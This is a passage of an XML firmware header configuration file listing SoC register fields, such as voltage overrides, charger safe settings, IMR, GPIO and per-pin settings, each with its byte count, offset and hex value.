offset="000C"> <data>00000000</data> </hdr_node> <hdr_node name="PUnit RComp Frequency Control" byte_cnt="04" offset="0010"> <data>00000000</data> </hdr_node> <hdr_node name="OS Image Index OSDX" byte_cnt="01" offset="0014"> <data>00</data> </hdr_node> <hdr_node name="BFSR" byte_cnt="01" offset="0015"> <data>FF</data> </hdr_node> <hdr_node name="PUnit Response Timeout" byte_cnt="01" offset="0016"> <data>00</data> </hdr_node> <hdr_node name="VID Control" byte_cnt="01" offset="0017"> <data>00</data> </hdr_node> <hdr_node name="Reset Options" byte_cnt="01" offset="0018"> <data>00</data> </hdr_node> <hdr_node name="Vcc_C6 VID Override" byte_cnt="01" offset="0019"> <data>00</data> </hdr_node> <hdr_node name="Vnn VID Override" byte_cnt="01" offset="001A"> <data>00</data> </hdr_node> <hdr_node name="Vcc VID Override" byte_cnt="01" offset="001B"> <data>00</data> </hdr_node> <!-- END Misc SMIP Fields --> <!-- BEGIN ISPV --> <hdr_node name="Initial Subsystem Power State" byte_cnt="16" offset="001C"> <data>00000000000000000000000000000000</data> </hdr_node> <!-- END ISPV --> <!-- BEGIN MSIC Regs --> <hdr_node name="SCU RCOMP FC" byte_cnt="04" offset="002C"> <data>BFBF3F3F</data> </hdr_node> <!-- END MSIC Regs --> <!-- BEGIN MSIC Charger Regs--> <hdr_node name="CHRGVOLT (Safe Setting)" byte_cnt="1" offset="0030"> <data>23</data> </hdr_node> <hdr_node name="CHRGCRNT (Safe Setting)" byte_cnt="1" offset="0031"> <data>00</data> </hdr_node> <hdr_node name="CHRGTIMER (Safe Setting)" byte_cnt="1" offset="0032"> <data>01</data> </hdr_node> <hdr_node name="MSIC Charger Registers 1.3-RSVD" byte_cnt="1" offset="0033"> <data>00</data> </hdr_node> <hdr_node name="MSIC Charger Registers 2" byte_cnt="4" offset="0034"> <data>00000000</data> </hdr_node> <hdr_node name="MSIC Charger Registers 3" byte_cnt="4" offset="0038"> <data>00000000</data> </hdr_node> <hdr_node name="MSIC Charger Registers 4" byte_cnt="4" offset="003C"> <data>00000000</data> </hdr_node> <!-- END MSIC Charger Regs--> <!-- BEGIN MSIC VRO--> <hdr_node name="MSIC VRO" byte_cnt="04" offset="0040"> <data>00000000</data> </hdr_node> <!-- END MSIC VRO--> <!-- BEGIN VFLAGS--> <hdr_node name="VFLAGS" byte_cnt="04" offset="0044"> <data>00000000</data> </hdr_node> <!-- END VFLAGS--> <!-- BEGIN FHOB--> <hdr_node name="FW Handoff Buffer DWORD #0" byte_cnt="04" offset="0048"> <data>00000004</data> </hdr_node> <hdr_node name="FW Handoff Buffer DWORD #1" byte_cnt="04" offset="004C"> <data>00000001</data> </hdr_node> <hdr_node name="FW Handoff Buffer DWORD #2" byte_cnt="04" offset="0050"> <data>00000000</data> </hdr_node> <hdr_node name="FW Handoff Buffer DWORD #3" byte_cnt="04" offset="0054"> <data>00000000</data> </hdr_node> <!-- END FHOB--> <!-- BEGIN VRDT--> <hdr_node name="Voltage Rail Delay Table (VRDT)" byte_cnt="04" offset="0058"> <data>05050505</data> </hdr_node> <hdr_node name="Voltage Rail Delay Table (VRDT)" byte_cnt="04" offset="005C"> <data>05050505</data> </hdr_node> <hdr_node name="Voltage Rail Delay Table (VRDT)" byte_cnt="04" offset="0060"> <data>05050505</data> </hdr_node> <hdr_node name="Voltage Rail Delay Table (VRDT)" byte_cnt="04" offset="0064"> <data>05050505</data> </hdr_node> <hdr_node name="Voltage Rail Delay Table (VRDT)" byte_cnt="04" offset="0068"> <data>05050505</data> </hdr_node> <hdr_node name="Voltage Rail Delay Table (VRDT)" byte_cnt="04" offset="006C"> <data>05050505</data> </hdr_node> <hdr_node name="Voltage Rail Delay Table (VRDT)" byte_cnt="04" offset="0070"> <data>05050505</data> </hdr_node> <hdr_node name="Voltage Rail Delay Table (VRDT)" byte_cnt="04" offset="0074"> <data>05050505</data> </hdr_node> <!-- END VRDT--> <!-- BEGIN DEBUG MASKS--> <hdr_node name="Isolation Enable XOR Mask (IEXM)" byte_cnt="04" offset="0078"> <data>00000000</data> </hdr_node> <hdr_node name="Isolation Enable XOR Mask (IEXM)" byte_cnt="04" offset="007C"> <data>00000000</data> </hdr_node> <hdr_node name="Power Gate Enable XOR Mask (PGEXM)" byte_cnt="04" offset="0080"> <data>00000000</data> </hdr_node> <hdr_node name="Power Gate Enable XOR Mask (PGEXM)" byte_cnt="04" offset="0084"> <data>00000000</data> </hdr_node> <hdr_node name="Clock Enable XOR Mask (CEXM)" byte_cnt="04" offset="0088"> <data>00000000</data> </hdr_node> <hdr_node name="Clock Enable XOR Mask (CEXM)" byte_cnt="04" offset="008C"> <data>00000000</data> </hdr_node> <hdr_node name="Subsystem Reset XOR Mask (SSRXM)" byte_cnt="04" offset="0090"> <data>00000000</data> </hdr_node> <hdr_node name="Subsystem Reset XOR Mask (SSRXM)" byte_cnt="04" offset="0094"> <data>00000000</data> </hdr_node> <!-- END DEBUG MASKS--> <!-- BEGIN IMR Regs--> <hdr_node name="IMR 0 BTYE 0" byte_cnt="4" offset="0098"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 0 BTYE 1" byte_cnt="4" offset="009C"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 0 BTYE 2" byte_cnt="4" offset="00A0"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 0 BTYE 3" byte_cnt="4" offset="00A4"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 1 BTYE 0" byte_cnt="4" offset="00A8"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 1 BTYE 1" byte_cnt="4" offset="00AC"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 1 BTYE 2" byte_cnt="4" offset="00B0"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 1 BTYE 3" byte_cnt="4" offset="00B4"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 2 BTYE 0" byte_cnt="4" offset="00B8"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 2 BTYE 1" byte_cnt="4" offset="00BC"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 2 BTYE 2" byte_cnt="4" offset="00C0"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 2 BTYE 3" byte_cnt="4" offset="00C4"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 3 BTYE 0" byte_cnt="4" offset="00C8"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 3 BTYE 1" byte_cnt="4" offset="00CC"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 3 BTYE 2" byte_cnt="4" offset="00D0"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 3 BTYE 3" byte_cnt="4" offset="00D4"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 4 BTYE 0" byte_cnt="4" offset="00D8"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 4 BTYE 1" byte_cnt="4" offset="00DC"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 4 BTYE 2" byte_cnt="4" offset="00E0"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 4 BTYE 3" byte_cnt="4" offset="00E4"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 5 BTYE 0" byte_cnt="4" offset="00E8"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 5 BTYE 1" byte_cnt="4" offset="00EC"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 5 BTYE 2" byte_cnt="4" offset="00F0"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 5 BTYE 3" byte_cnt="4" offset="00F4"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 6 BTYE 0" byte_cnt="4" offset="00F8"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 6 BTYE 1" byte_cnt="4" offset="00FC"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 6 BTYE 2" byte_cnt="4" offset="0100"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 6 BTYE 3" byte_cnt="4" offset="0104"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 7 BTYE 0" byte_cnt="4" offset="0108"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 7 BTYE 1" byte_cnt="4" offset="010C"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 7 BTYE 2" byte_cnt="4" offset="0110"> <data>00000000</data> </hdr_node> <hdr_node name="IMR 7 BTYE 3" byte_cnt="4" offset="0114"> <data>00000000</data> </hdr_node> <!-- END IMR Regs--> <!-- BEGIN GPIO GCR0 --> <hdr_node name="GPDR0" byte_cnt="4" offset="0118"> <data>00BF0000</data> </hdr_node> <hdr_node name="GPDR1" byte_cnt="4" offset="011C"> <data>0B841304</data> </hdr_node> <hdr_node name="GPDR2" byte_cnt="4" offset="0120"> <data>000B8E06</data> </hdr_node> <hdr_node name="GPSR0" byte_cnt="4" offset="0124"> <data>00010000</data> </hdr_node> <hdr_node name="GPSR1" byte_cnt="4" offset="0128"> <data>01840400</data> </hdr_node> <hdr_node name="GPSR2" byte_cnt="4" offset="012C"> <data>00000006</data> </hdr_node> <hdr_node name="GRER0" byte_cnt="4" offset="0130"> <data>40003003</data> </hdr_node> <hdr_node name="GRER1" byte_cnt="4" offset="0134"> <data>00020000</data> </hdr_node> <hdr_node name="GRER2" byte_cnt="4" offset="0138"> <data>00007000</data> </hdr_node> <hdr_node name="GFER0" byte_cnt="4" offset="013C"> <data>C000100C</data> </hdr_node> <hdr_node name="GFER1" byte_cnt="4" offset="0140"> <data>8009C8F0</data> </hdr_node> <hdr_node name="GFER2" byte_cnt="4" offset="0144"> <data>00000000</data> </hdr_node> <hdr_node name="GAFR0_L" byte_cnt="4" offset="0148"> <data>10555500</data> </hdr_node> <hdr_node name="GAFR0_U" byte_cnt="4" offset="014C"> <data>05555695</data> </hdr_node> <hdr_node name="GAFR1_L" byte_cnt="4" offset="0150"> <data>00000000</data> </hdr_node> <hdr_node name="GAFR1_U" byte_cnt="4" offset="0154"> <data>00554010</data> </hdr_node> <hdr_node name="GAFR2_L" byte_cnt="4" offset="0158"> <data>00055565</data> </hdr_node> <hdr_node name="GAFR2_U" byte_cnt="4" offset="015C"> <data>00000055</data> </hdr_node> <!-- END GPIO GCR0 --> <!-- BEGIN GPIO GCR1 --> <hdr_node name="GPDR3" byte_cnt="4" offset="0160"> <data>A8777000</data> </hdr_node> <hdr_node name="GPDR4" byte_cnt="4" offset="0164"> <data>FFE80003</data> </hdr_node> <hdr_node name="GPDR5" byte_cnt="4" offset="0168"> <data>00077E06</data> </hdr_node> <hdr_node name="GPSR3" byte_cnt="4" offset="016C"> <data>A8600000</data> </hdr_node> <hdr_node name="GPSR4" byte_cnt="4" offset="0170"> <data>2FE00000</data> </hdr_node> <hdr_node name="GPSR5" byte_cnt="4" offset="0174"> <data>00000000</data> </hdr_node> <hdr_node name="GRER3" byte_cnt="4" offset="0178"> <data>00000000</data> </hdr_node> <hdr_node name="GRER4" byte_cnt="4" offset="017C"> <data>00000000</data> </hdr_node> <hdr_node name="GRER5" byte_cnt="4" offset="0180"> <data>00008000</data> </hdr_node> <hdr_node name="GFER3" byte_cnt="4" offset="0184"> <data>00000000</data> </hdr_node> <hdr_node name="GFER4" byte_cnt="4" offset="0188"> <data>00020000</data> </hdr_node> <hdr_node name="GFER5" byte_cnt="4" offset="018C"> <data>00000000</data> </hdr_node> <hdr_node name="GAFR3_L" byte_cnt="4" offset="0190"> <data>00005000</data> </hdr_node> <hdr_node name="GAFR3_U" byte_cnt="4" offset="0194"> <data>55500000</data> </hdr_node> <hdr_node name="GAFR4_L" byte_cnt="4" offset="0198"> <data>55555540</data> </hdr_node> <hdr_node name="GAFR4_U" byte_cnt="4" offset="019C"> <data>55555551</data> </hdr_node> <hdr_node name="GAFR5_L" byte_cnt="4" offset="01A0"> <data>00000011</data> </hdr_node> <hdr_node name="GAFR5_U" byte_cnt="4" offset="01A4"> <data>00000000</data> </hdr_node> <!-- END GPIO GCR1--> <!-- BEGIN MSIC VR REGS --> <hdr_node name="MSIC_VR_REGS0" byte_cnt="4" offset="01A8"> <data>BF363636</data> </hdr_node> <hdr_node name="MSIC_VR_REGS1" byte_cnt="4" offset="01AC"> <data>76E4B6B6</data> </hdr_node> <hdr_node name="MSIC_VR_REGS2" byte_cnt="4" offset="01B0"> <data>36367676</data> </hdr_node> <hdr_node name="MSIC_VR_REGS3" byte_cnt="4" offset="01B4"> <data>36363606</data> </hdr_node> <hdr_node name="MSIC_VR_REGS4" byte_cnt="4" offset="01B8"> <data>06C7C736</data> </hdr_node> <hdr_node name="MSIC_VR_REGS5" byte_cnt="4" offset="01BC"> <data>F6360606</data> </hdr_node> <hdr_node name="MSIC_VR_REGS6" byte_cnt="4" offset="01C0"> <data>0080A406</data> </hdr_node> <hdr_node name="MSIC_VR_REGS7" byte_cnt="4" offset="01C4"> <data>00000000</data> </hdr_node> <!-- END MSIC VR REGS --> <!-- BEGIN RD REGS --> <hdr_node name="RD1" byte_cnt="04" offset="01C8"> <data>00000000</data> </hdr_node> <hdr_node name="RD2" byte_cnt="04" offset="01CC"> <data>00000000</data> </hdr_node> <hdr_node name="RD3" byte_cnt="04" offset="01D0"> <data>00000000</data> </hdr_node> <!-- END RD REGS --> <!-- BEGIN GP PIN REGS --> <hdr_node name="i2s_2_clk" byte_cnt="01" offset="01D4"> <data>05</data> </hdr_node> <hdr_node name="i2s_2_fs" byte_cnt="01" offset="01D5"> <data>05</data> </hdr_node> <hdr_node name="i2s_2_rxd" byte_cnt="01" offset="01D6"> <data>05</data> </hdr_node> <hdr_node name="i2s_2_txd" byte_cnt="01" offset="01D7"> <data>00</data> </hdr_node> <hdr_node name="msic_reset_b" byte_cnt="01" offset="01D8"> <data>00</data> </hdr_node> <hdr_node name="spi_0_clk" byte_cnt="01" offset="01D9"> <data>00</data> </hdr_node> <hdr_node name="spi_0_sdi" byte_cnt="01" offset="01DA"> <data>00</data> </hdr_node> <hdr_node name="spi_0_sdo" byte_cnt="01" offset="01DB"> <data>00</data> </hdr_node> <hdr_node name="spi_0_ss" byte_cnt="01" offset="01DC"> <data>00</data> </hdr_node> <hdr_node name="svid_clkout" byte_cnt="01" offset="01DD"> <data>00</data> </hdr_node> <hdr_node name="svid_clksynch" byte_cnt="01" offset="01DE"> <data>00</data> </hdr_node> <hdr_node name="svid_din" byte_cnt="01" offset="01DF"> <data>00</data> </hdr_node> <hdr_node name="svid_dout" byte_cnt="01" offset="01E0"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_clk" byte_cnt="01" offset="01E1"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_data[0]" byte_cnt="01" offset="01E2"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_data[1]" byte_cnt="01" offset="01E3"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_data[2]" byte_cnt="01" offset="01E4"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_data[3]" byte_cnt="01" offset="01E5"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_data[4]" byte_cnt="01" offset="01E6"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_data[5]" byte_cnt="01" offset="01E7"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_data[6]" byte_cnt="01" offset="01E8"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_data[7]" byte_cnt="01" offset="01E9"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_dir" byte_cnt="01" offset="01EA"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_nxt" byte_cnt="01" offset="01EB"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_refclk" byte_cnt="01" offset="01EC"> <data>00</data> </hdr_node> <hdr_node name="usb_ulpi_stp" byte_cnt="01" offset="01ED"> <data>00</data> </hdr_node> <hdr_node name="kbd_dkin[0]" byte_cnt="01" offset="01EE"> <data>00</data> </hdr_node> <hdr_node name="kbd_dkin[1]" byte_cnt="01" offset="01EF"> <data>05</data> </hdr_node> <hdr_node name="kbd_dkin[2]" byte_cnt="01" offset="01F0"> <data>05</data> </hdr_node> <hdr_node name="kbd_dkin[3]" byte_cnt="01" offset="01F1"> <data>01</data> </hdr_node> <hdr_node name="kbd_mkin[0]" byte_cnt="01" offset="01F2"> <data>20</data> </hdr_node> <hdr_node name="kbd_mkin[1]" byte_cnt="01" offset="01F3"> <data>00</data> </hdr_node> <hdr_node name="kbd_mkin[2]" byte_cnt="01" offset="01F4"> <data>0D</data> </hdr_node> <hdr_node name="kbd_mkin[3]" byte_cnt="01" offset="01F5"> <data>0D</data> </hdr_node> <hdr_node name="kbd_mkin[4]" byte_cnt="01" offset="01F6"> <data>05</data> </hdr_node> <hdr_node name="kbd_mkin[5]" byte_cnt="01" offset="01F7"> <data>05</data> </hdr_node> <hdr_node name="kbd_mkin[6]" byte_cnt="01" offset="01F8"> <data>00</data> </hdr_node> <hdr_node name="kbd_mkin[7]" byte_cnt="01" offset="01F9"> <data>00</data> </hdr_node> <hdr_node name="kbd_mkout[0]" byte_cnt="01" offset="01FA"> <data>C8</data> </hdr_node> <hdr_node name="kbd_mkout[1]" byte_cnt="01" offset="01FB"> <data>05</data> </hdr_node> <hdr_node name="kbd_mkout[2]" byte_cnt="01" offset="01FC"> <data>20</data> </hdr_node> <hdr_node name="kbd_mkout[3]" byte_cnt="01" offset="01FD"> <data>05</data> </hdr_node> <hdr_node name="kbd_mkout[4]" byte_cnt="01" offset="01FE"> <data>05</data> </hdr_node> <hdr_node name="kbd_mkout[5]" byte_cnt="01" offset="01FF"> <data>05</data> </hdr_node> <hdr_node name="kbd_mkout[6]" byte_cnt="01" offset="0200"> <data>05</data> </hdr_node> <hdr_node name="kbd_mkout[7]" byte_cnt="01" offset="0201"> <data>C8</data> </hdr_node> <hdr_node name="camerasb[10]" byte_cnt="01" offset="0202"> <data>20</data> </hdr_node> <hdr_node name="camerasb[4]" byte_cnt="01" offset="0203"> <data>20</data> </hdr_node> <hdr_node name="camerasb[5]" byte_cnt="01" offset="0204"> <data>20</data> </hdr_node> <hdr_node name="camerasb[6]" byte_cnt="01" offset="0205"> <data>20</data> </hdr_node> <hdr_node name="camerasb[7]" byte_cnt="01" offset="0206"> <data>01</data> </hdr_node> <hdr_node name="camerasb[8]" byte_cnt="01" offset="0207"> <data>20</data> </hdr_node> <hdr_node name="camerasb[9]" byte_cnt="01" offset="0208"> <data>20</data> </hdr_node> <hdr_node name="i2c_4_scl" byte_cnt="01" offset="0209"> <data>66</data> </hdr_node> <hdr_node name="i2c_4_sda" byte_cnt="01" offset="020A"> <data>66</data> </hdr_node> <hdr_node name="i2c_5_scl" byte_cnt="01" offset="020B"> <data>66</data> </hdr_node> <hdr_node name="i2c_5_sda" byte_cnt="01" offset="020C"> <data>66</data> </hdr_node> <hdr_node name="intd_dsi_te1" byte_cnt="01" offset="020D"> <data>01</data> </hdr_node> <hdr_node name="intd_dsi_te2" byte_cnt="01" offset="020E"> <data>01</data> </hdr_node> <hdr_node name="stio_0_cd_b" byte_cnt="01" offset="020F"> <data>05</data> </hdr_node> <hdr_node name="stio_0_clk" byte_cnt="01" offset="0210"> <data>00</data> </hdr_node> <hdr_node name="stio_0_cmd" byte_cnt="01" offset="0211"> <data>05</data> </hdr_node> <hdr_node name="stio_0_dat[0]" byte_cnt="01" offset="0212"> <data>05</data> </hdr_node> <hdr_node name="stio_0_dat[1]" byte_cnt="01" offset="0213"> <data>05</data> </hdr_node> <hdr_node name="stio_0_dat[2]" byte_cnt="01" offset="0214"> <data>05</data> </hdr_node> <hdr_node name="stio_0_dat[3]" byte_cnt="01" offset="0215"> <data>05</data> </hdr_node> <hdr_node name="stio_0_dat[4]" byte_cnt="01" offset="0216"> <data>05</data> </hdr_node> <hdr_node name="stio_0_dat[5]" byte_cnt="01" offset="0217"> <data>05</data> </hdr_node> <hdr_node name="stio_0_dat[6]" byte_cnt="01" offset="0218"> <data>05</data> </hdr_node> <hdr_node name="stio_0_dat[7]" byte_cnt="01" offset="0219"> <data>05</data> </hdr_node> <hdr_node name="stio_0_wp_b" byte_cnt="01" offset="021A"> <data>02</data> </hdr_node> <hdr_node name="camerasb[0]" byte_cnt="01" offset="021B"> <data>21</data> </hdr_node> <hdr_node name="camerasb[1]" byte_cnt="01" offset="021C"> <data>45</data> </hdr_node> <hdr_node name="camerasb[2]" byte_cnt="01" offset="021D"> <data>21</data> </hdr_node> <hdr_node name="camerasb[3]" byte_cnt="01" offset="021E"> <data>21</data> </hdr_node> <hdr_node name="ded_gpio[10]" byte_cnt="01" offset="021F"> <data>01</data> </hdr_node> <hdr_node name="ded_gpio[11]" byte_cnt="01" offset="0220"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[12]" byte_cnt="01" offset="0221"> <data>21</data> </hdr_node> <hdr_node name="ded_gpio[13]" byte_cnt="01" offset="0222"> <data>21</data> </hdr_node> <hdr_node name="ded_gpio[14]" byte_cnt="01" offset="0223"> <data>21</data> </hdr_node> <hdr_node name="ded_gpio[15]" byte_cnt="01" offset="0224"> <data>01</data> </hdr_node> <hdr_node name="ded_gpio[16]" byte_cnt="01" offset="0225"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[17]" byte_cnt="01" offset="0226"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[18]" byte_cnt="01" offset="0227"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[19]" byte_cnt="01" offset="0228"> <data>01</data> </hdr_node> <hdr_node name="ded_gpio[20]" byte_cnt="01" offset="0229"> <data>21</data> </hdr_node> <hdr_node name="ded_gpio[21]" byte_cnt="01" offset="022A"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[22]" byte_cnt="01" offset="022B"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[23]" byte_cnt="01" offset="022C"> <data>05</data> </hdr_node> <hdr_node name="ded_gpio[24]" byte_cnt="01" offset="022D"> <data>35</data> </hdr_node> <hdr_node name="ded_gpio[25]" byte_cnt="01" offset="022E"> <data>05</data> </hdr_node> <hdr_node name="ded_gpio[26]" byte_cnt="01" offset="022F"> <data>35</data> </hdr_node> <hdr_node name="ded_gpio[27]" byte_cnt="01" offset="0230"> <data>05</data> </hdr_node> <hdr_node name="ded_gpio[28]" byte_cnt="01" offset="0231"> <data>35</data> </hdr_node> <hdr_node name="ded_gpio[29]" byte_cnt="01" offset="0232"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[30]" byte_cnt="01" offset="0233"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[8]" byte_cnt="01" offset="0234"> <data>01</data> </hdr_node> <hdr_node name="ded_gpio[9]" byte_cnt="01" offset="0235"> <data>01</data> </hdr_node> <hdr_node name="mpti_nidnt_clk" byte_cnt="01" offset="0236"> <data>00</data> </hdr_node> <hdr_node name="mpti_nidnt_data[0]" byte_cnt="01" offset="0237"> <data>00</data> </hdr_node> <hdr_node name="mpti_nidnt_data[1]" byte_cnt="01" offset="0238"> <data>00</data> </hdr_node> <hdr_node name="mpti_nidnt_data[2]" byte_cnt="01" offset="0239"> <data>00</data> </hdr_node> <hdr_node name="mpti_nidnt_data[3]" byte_cnt="01" offset="023A"> <data>00</data> </hdr_node> <hdr_node name="stio_1_clk" byte_cnt="01" offset="023B"> <data>20</data> </hdr_node> <hdr_node name="stio_1_cmd" byte_cnt="01" offset="023C"> <data>05</data> </hdr_node> <hdr_node name="stio_1_dat[0]" byte_cnt="01" offset="023D"> <data>05</data> </hdr_node> <hdr_node name="stio_1_dat[1]" byte_cnt="01" offset="023E"> <data>05</data> </hdr_node> <hdr_node name="stio_1_dat[2]" byte_cnt="01" offset="023F"> <data>05</data> </hdr_node> <hdr_node name="stio_1_dat[3]" byte_cnt="01" offset="0240"> <data>05</data> </hdr_node> <hdr_node name="stio_2_clk" byte_cnt="01" offset="0241"> <data>20</data> </hdr_node> <hdr_node name="stio_2_cmd" byte_cnt="01" offset="0242"> <data>05</data> </hdr_node> <hdr_node name="stio_2_dat[0]" byte_cnt="01" offset="0243"> <data>05</data> </hdr_node> <hdr_node name="stio_2_dat[1]" byte_cnt="01" offset="0244"> <data>05</data> </hdr_node> <hdr_node name="stio_2_dat[2]" byte_cnt="01" offset="0245"> <data>05</data> </hdr_node> <hdr_node name="stio_2_dat[3]" byte_cnt="01" offset="0246"> <data>05</data> </hdr_node> <hdr_node name="coms_int[0]" byte_cnt="01" offset="0247"> <data>01</data> </hdr_node> <hdr_node name="coms_int[1]" byte_cnt="01" offset="0248"> <data>05</data> </hdr_node> <hdr_node name="coms_int[2]" byte_cnt="01" offset="0249"> <data>05</data> </hdr_node> <hdr_node name="coms_int[3]" byte_cnt="01" offset="024A"> <data>05</data> </hdr_node> <hdr_node name="ded_gpio[4]" byte_cnt="01" offset="024B"> <data>00</data> </hdr_node> <hdr_node name="ded_gpio[5]" byte_cnt="01" offset="024C"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[6]" byte_cnt="01" offset="024D"> <data>20</data> </hdr_node> <hdr_node name="ded_gpio[7]" byte_cnt="01" offset="024E"> <data>20</data> </hdr_node> <hdr_node name="i2s_0_clk" byte_cnt="01" offset="024F"> <data>20</data> </hdr_node> <hdr_node name="i2s_0_fs" byte_cnt="01" offset="0250"> <data>20</data> </hdr_node> <hdr_node name="i2s_0_rxd" byte_cnt="01" offset="0251"> <data>00</data> </hdr_node> <hdr_node name="i2s_0_txd" byte_cnt="01" offset="0252"> <data>20</data> </hdr_node> <hdr_node name="i2s_1_clk" byte_cnt="01" offset="0253"> <data>20</data> </hdr_node> <hdr_node name="i2s_1_fs" byte_cnt="01" offset="0254"> <data>20</data> </hdr_node> <hdr_node name="i2s_1_rxd" byte_cnt="01" offset="0255"> <data>00</data> </hdr_node> <hdr_node name="i2s_1_txd" byte_cnt="01" offset="0256"> <data>20</data> </hdr_node> <hdr_node name="mslim_1_bclk" byte_cnt="01" offset="0257"> <data>01</data> </hdr_node> <hdr_node name="mslim_1_bdat" byte_cnt="01" offset="0258"> <data>05</data> </hdr_node> <hdr_node name="resetout_b" byte_cnt="01" offset="0259"> <data>75</data> </hdr_node> <hdr_node name="spi_2_clk" byte_cnt="01" offset="025A"> <data>00</data> </hdr_node> <hdr_node name="spi_2_sdi" byte_cnt="01" offset="025B"> <data>01</data> </hdr_node> <hdr_node name="spi_2_sdo" byte_cnt="01" offset="025C"> <data>00</data> </hdr_node> <hdr_node name="spi_2_ss[0]" byte_cnt="01" offset="025D"> <data>00</data> </hdr_node> <hdr_node name="spi_2_ss[1]" byte_cnt="01" offset="025E"> <data>00</data> </hdr_node> <hdr_node name="spi_3_clk" byte_cnt="01" offset="025F"> <data>C8</data> </hdr_node> <hdr_node name="spi_3_sdi" byte_cnt="01" offset="0260"> <data>C8</data> </hdr_node> <hdr_node name="spi_3_sdo" byte_cnt="01" offset="0261"> <data>C8</data> </hdr_node> <hdr_node name="spi_3_ss[0]" byte_cnt="01" offset="0262"> <data>00</data> </hdr_node> <hdr_node name="spi_3_ss[1]" byte_cnt="01" offset="0263"> <data>0D</data> </hdr_node> <hdr_node name="uart_0_cts" byte_cnt="01" offset="0264"> <data>05</data> </hdr_node> <hdr_node name="uart_0_rts" byte_cnt="01" offset="0265"> <data>05</data> </hdr_node> <hdr_node name="uart_0_rx" byte_cnt="01" offset="0266"> <data>05</data> </hdr_node> <hdr_node name="uart_0_tx" byte_cnt="01" offset="0267"> <data>05</data> </hdr_node> <hdr_node name="uart_1_rx" byte_cnt="01" offset="0268"> <data>05</data> </hdr_node> <hdr_node name="uart_1_sd" byte_cnt="01" offset="0269"> <data>35</data> </hdr_node> <hdr_node name="uart_1_tx" byte_cnt="01" offset="026A"> <data>35</data> </hdr_node> <hdr_node name="uart_2_rx" byte_cnt="01" offset="026B"> <data>05</data> </hdr_node> <hdr_node name="uart_2_tx" byte_cnt="01" offset="026C"> <data>05</data> </hdr_node> <hdr_node name="aclkph" byte_cnt="01" offset="026D"> <data>01</data> </hdr_node> <hdr_node name="dclkph" byte_cnt="01" offset="026E"> <data>01</data> </hdr_node> <hdr_node name="dsiclkph" byte_cnt="01" offset="026F"> <data>01</data> </hdr_node> <hdr_node name="ierr" byte_cnt="01" offset="0270"> <data>30</data> </hdr_node> <hdr_node name="jtag_tckc" byte_cnt="01" offset="0271"> <data>00</data> </hdr_node> <hdr_node name="jtag_tdic" byte_cnt="01" offset="0272"> <data>06</data> </hdr_node> <hdr_node name="jtag_tdoc" byte_cnt="01" offset="0273"> <data>26</data> </hdr_node> <hdr_node name="jtag_tmsc" byte_cnt="01" offset="0274"> <data>00</data> </hdr_node> <hdr_node name="jtag_trst_b" byte_cnt="01" offset="0275"> <data>05</data> </hdr_node> <hdr_node name="lclkph" byte_cnt="01" offset="0276"> <data>01</data> </hdr_node> <hdr_node name="lfhclkph" byte_cnt="01" offset="0277"> <data>01</data> </hdr_node> <hdr_node name="osc_clk_ctrl[0]" byte_cnt="01" offset="0278"> <data>05</data> </hdr_node> <hdr_node name="osc_clk_ctrl[1]" byte_cnt="01" offset="0279"> <data>05</data> </hdr_node> <hdr_node name="osc_clk_out[0]" byte_cnt="01" offset="027A"> <data>20</data> </hdr_node> <hdr_node name="osc_clk_out[1]" byte_cnt="01" offset="027B"> <data>20</data> </hdr_node> <hdr_node name="osc_clk_out[2]" byte_cnt="01" offset="027C"> <data>20</data> </hdr_node> <hdr_node name="osc_clk_out[3]" byte_cnt="01" offset="027D"> <data>20</data> </hdr_node> <hdr_node name="prochot_b" byte_cnt="01" offset="027E"> <data>45</data> </hdr_node> <hdr_node name="thermtrip_b" byte_cnt="01" offset="027F"> <data>45</data> </hdr_node> <hdr_node name="uclkph" byte_cnt="01" offset="0280"> <data>01</data> </hdr_node> <hdr_node name="ded_gpio[31]" byte_cnt="01" 